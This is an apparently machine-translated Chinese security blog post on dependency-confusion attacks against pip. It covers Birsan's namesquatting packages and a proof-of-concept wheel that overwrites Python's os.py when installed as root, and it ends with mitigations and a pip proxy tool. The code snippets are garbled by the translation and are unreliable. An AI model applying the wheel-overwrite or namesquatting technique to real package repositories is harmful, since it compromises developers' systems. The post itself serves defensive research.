供应链攻击中的Python轮顶

供应链攻击中的Python轮顶

最近,一本小说供应链攻击是由安全研究员发表的亚历克斯Birsan,详细描述了依赖关系的混乱(或“namesquatting)中的恶意代码可能被滥用,以便在生产和开发系统上执行恶意代码。

背景依赖混乱& Birsan的攻击

简而言之,大多数包管理器,如皮普而且npm不要区分内部包(托管在内部公司服务器上)和外部包(托管在公共服务器上)。

因此,一个简单的命令,如PIP install my-package会很高兴地抓住我的包从内部服务器或公共服务器。

请注意,这个问题不同于众所周知的问题受害因为在Birsan的攻击中,没有依赖于受害者的印刷错误(例如。PIP安装my- package

Birsan的研究主要集中在以下两个事实:

  1. 任何人都可以将恶意代码上传到这些公共服务器上,而不受太多监管。
  2. 包管理器可能更喜欢从公共服务器获取特定的包(如果可用的话),而不是从内部服务器获取。例如,如果公共服务器上的包版本较新。

这就造成了一种情况,攻击者只需将名称冲突的包上传到公共包存储库,就可以使现有pip命令恶意操作并执行任意代码。

当Birsan在Python包索引上发布他的“恶意”包时(PyPi),他选择发布源代码包,因为这些源代码包可以在安装后立即执行代码,无需用户干预:

我们可以看到这个包是针对Netflix的,通过使用内部前缀nflx和使用非常高的版本6969.99.99取代任何实际(内部)版本号。

在这篇博文中,我们将:

  1. 简要探讨源发行版和构建发行版之间的区别(关于尽早执行恶意代码)。
  2. 提出了一种滥用Python轮以运行恶意代码的新技术,即使没有直接调用已安装的包。
  3. 提出一种轻量级解决方案,防止PyPi上的名称占位攻击。

源发行版与构建发行版

Python支持两种发行类型:

  1. 来源分布(sdist源代码发布包含模块的源代码(. py文件或. c . cpp /对于二进制模块)和asetup . py文件中包含有关模块的信息,例如模块版本、许可证和依赖项。其结果是可以在任意操作系统(例如Windows和Linux)和架构(例如x86和ARM)中使用的跨平台存档。中指定的步骤安装存档setup . py,通常编译源代码文件,并将已编译的代码复制到相关的文件夹中。
  2. 建成分布(bdist一个构建的发行版只包含模块的构建代码(.pyc文件或所以/ . dll / . dylib对于二进制模块),并放弃setup . py文件。在构建的发行版中,包元数据(如许可证、依赖项等)以文本格式保存(这里的引用)以及构建的代码。结果是一个只能在单一平台和Python版本(例如Linux-x86_64-Python3.7)上使用的归档文件。只需将其解压缩到相关文件夹即可安装存档。

构建的发行版有几种类型(例如Eggs和Wheels),但在本文中,我们将重点介绍Python Wheel,因为这是最现代的类型。

在源代码和内置发行版中运行早期代码

在源分发中,在安装时执行任意代码是很简单的,因为来自发行版的用户提供的setup.py脚本在安装时由PIP执行。

例如,在Birsan的研究包中,我们可以看到setup.py脚本导入了主模块:

导入nflx_kragle_scripts Import setuptools setuptools。Setup (name='nflx_kragle_scripts', version='6969.99.99',…

是什么导致“恶意”代码从模块运行__init__ . py脚本:

To_resolve = To_resolve中主机的get_hosts(data): os。System ('nslookup{}{}'。格式(主机、NS))

这段代码只是“ping”指定的DNS服务器,但在真实的攻击场景中,这可能已经执行了恶意的任意代码。

在构建的分布中在美国,情况大不相同。

车轮装置(见PEP 427),与以前的安装方法相反,不会在安装时运行开发人员提供的代码。相反,他们遵循提供的步骤在这里(稍后会详细介绍)。

这意味着,通常情况下,运行车轮代码的最早时刻是当导入车轮中包含的模块因为模块提供程序可以任意编写Python代码在模块的__init__ . py脚本。

让我们探讨在特定场景下,在安装时运行任意代码的可能性。

提前劫持一个Python轮

我们来看看车轮安装步骤并特别关注步骤“spread 2”:

  • 的每一个子树distribution-1.0.data /到目标路径上
  • 的每个子目录distribution-1.0.data /是目标目录字典的键,例如distribution-1.0.data/(purelib|platlib|headers|scripts|data)
  • 最初支持的路径取自distutils.command.install

从本质上讲,这一步没有问题,但在Linux安装上,这可能会有问题。

文件和目录distribution-1.0.data / lib将被移动到包含Python lib文件的同一目录。常见的布局如下:

lib/ python3.7 python2.7 what-I-had-in-my-package . lib/ python3.7

的位置自由根目录是不同的venv和常规安装,以root身份运行时是不同的。然而,在标准的Linux发行版上,当作为根用户运行PIP时,路径为/usr/local/lib,这意味着wheel文件可以自由地覆盖该目录中的文件。

作为概念的证明,我们已经构建了一个“恶意”车轮文件-broken_wheel-1.0.0-py3-none-any.whl,安装后将替换os.py.在我们的示例中,我们选择只破坏操作系统模块,但在现实场景中,攻击者可以替换或后门任何内置的Python模块,从而有效地运行恶意Python代码,甚至在导入所需的模块之前。

要查看PoC的工作情况,你可以在docker实例上运行它:

(不要在你的主机上安装轮子,因为它会破坏Python实例)

Docker运行-it——rm -v ' realpath broken_wheel-1.0.0-py3-none-any.whl ':/broken_wheel-1.0.0-py3-none-any. whl 'WHL python:3.7 bash -c "pip install /broken_wheel-1.0.0-py3-none-any。WHL && python"

结果,你会看到操作系统模块确实被替换了,“恶意”负载已经运行,Python现在被破坏了:

处理/ broken_wheel-1.0.0-py3-none-any。whl安装收集包:broken-wheel成功安装broken-wheel-1.0.0哦不!我们可能在这里运行了恶意代码!Python致命错误:initsite:未能导入网站模块回溯(最近的电话最后):文件“/ usr /地方/ lib / python3.7 / site.py”,579行,在主()文件“/ usr /地方/ lib / python3.7 / site.py”,556行,在主known_paths = removeduppaths()文件“/ usr /地方/ lib / python3.7 / site.py”,126行,在removeduppaths dir, dircase = makepath (dir)文件“/ usr /地方/ lib / python3.7 / site.py”,第91行,makepath dir = os.path.join(*路径)AttributeError:模块的操作系统没有属性的路径

如前所述,这种劫持方法仅限于执行皮普作为根用户,这在运行时并不罕见皮普外的venv

缓解排名问题

皮普本身包含几个选项,这些选项可以部分地减轻所提出的命名顺序攻击,但目前没有提供任何整体解决方案。

例如——跑步皮普——only-binaryFlag将拒绝安装任何源代码发行版,拒绝在安装时执行代码:

# pip install——only-binary:all: nflx-cloudsol-python-libs ERROR:无法找到满足要求的版本

话虽如此,这并不是一个完整的解决方案,因为攻击者仍然可能建立一个构建的发行版,并依赖于受害者在某个时间点导入恶意模块,这将运行恶意代码。

一个更全面的解决方案- piproxy

为了更彻底地解决这个问题,我们开发了piproxy-一个小的代理服务器pip,它修改pip的行为来安装外部包(例如从PyPi),只有当包在任何内部存储库中都没有找到时。这修复了pip中的命名顺序问题,该问题当前更倾向于具有更新版本的包(无论它来自内部还是外部存储库)。

要使用piproxy,首先将其作为后台进程执行:

Python3 piproxy.py[]…&

然后运行皮普如下:

PIP安装-i localhost:8080

只要所有必需的内部包都存在于内部存储库中(并且内部存储库可用),命名顺序问题就会过时。

提出的解决方案当然是基本的,可以进一步改进/加固—例如,通过添加已批准的内部/外部包的黑名单/白名单,或者定义排除远程存储库中的模式.这种机制还可以帮助解决前面提到的排字攻击。

使用静态分析进行漏洞检测

在上一节中,我们介绍了通过缓解和预防来处理此问题的方法,但我们认为完整的解决方案还将采用某种方法来检测是否已经发生了泄露。

为了解决这个问题,Vdoo(现在是JFrog的一部分)已经开发了特定的自动扫描器来检测Python代码(源代码或字节码)中的恶意行为,例如在Birsan的攻击中使用的DNS域生成,并且已经在基于二进制的恶意软件中广泛使用。该Vdoo技术计划于2022年整合到JFrog平台。

总结

似乎Birsan通过展示我们的一些基本开发基础设施并没有以安全为中心的方法进行规划而触动了这里的神经。

特别是关于皮普,似乎有一个不定期客票从2017年开始涉及这个主题(没有提到安全),但对于应该如何解决这个问题,还没有达成共识。

这很好,也在一定程度上是意料之中的,但是我们JFrog希望这次对这个问题的关注将鼓励相关的包管理器维护者从包管理器代码库内部修复这个问题,而不是让开发人员只能依赖外部工具和缓解措施。

问题吗?想法吗?与我们联络research@m.si-fil.com任何有关的查询安全漏洞

了解更多你可以做的事情保护您的组织免受软件供应链攻击

附件# 1:piproxy.py

附件# 2:broken_wheel-1.0.0-py3-none-any.whl